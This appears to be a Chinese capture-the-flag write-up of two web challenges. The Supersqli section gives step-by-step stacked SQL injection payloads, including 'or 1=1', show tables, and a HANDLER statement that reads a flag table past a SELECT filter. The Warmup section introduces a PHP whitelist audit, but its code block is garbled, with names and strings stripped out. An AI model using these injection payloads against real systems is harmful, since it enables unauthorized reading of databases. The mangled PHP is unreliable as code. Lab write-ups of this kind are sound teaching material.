一、Supersqli
页面加载后,通过简单的参数测试,初步判断这是一道 SQL 注入题目。

尝试基础注入语句:
1' or 1=1 #
验证成功。接下来确定字段数:
1' order by 2 #
确认字段数为 2。尝试查询数据库信息时,发现 database() 等函数被过滤,但分号未被拦截,这为堆叠注入提供了机会。
利用堆叠注入查看表名:
1';show tables ;#
成功获取到一个特殊表名 1919810931114514。进一步查询该表结构:
1';show columns from `1919810931114514`;#
发现表中包含 flag,但常规的 SELECT 语句被过滤。此时可以利用 MySQL 的 HANDLER 语句来替代 SELECT 读取数据。
Payload 构造如下:
1';handler `1919810931114514` open as `a`;handler `a` read next;#
执行后成功拿到 Flag。
二、Warmup
页面提示存在 source.php,访问后获取到源代码进行审计。

同时访问 hint.php 提示 flag 位于 ffffllllaaaagggg。
代码审计分析:
核心逻辑在于 checkFile 函数对文件名的白名单检查。代码如下:
<?php
();
{
{
= [ => , => ];
(!() || !()) {
;
;
}
((, )) {
;
}
= (, , ( . , ));
((, )) {
;
}
= ();
= (, , ( . , ));
((, )) {
;
}
;
;
}
}
(!([]) && ([]) && emmm::([])) {
[];
;
} {
;
}



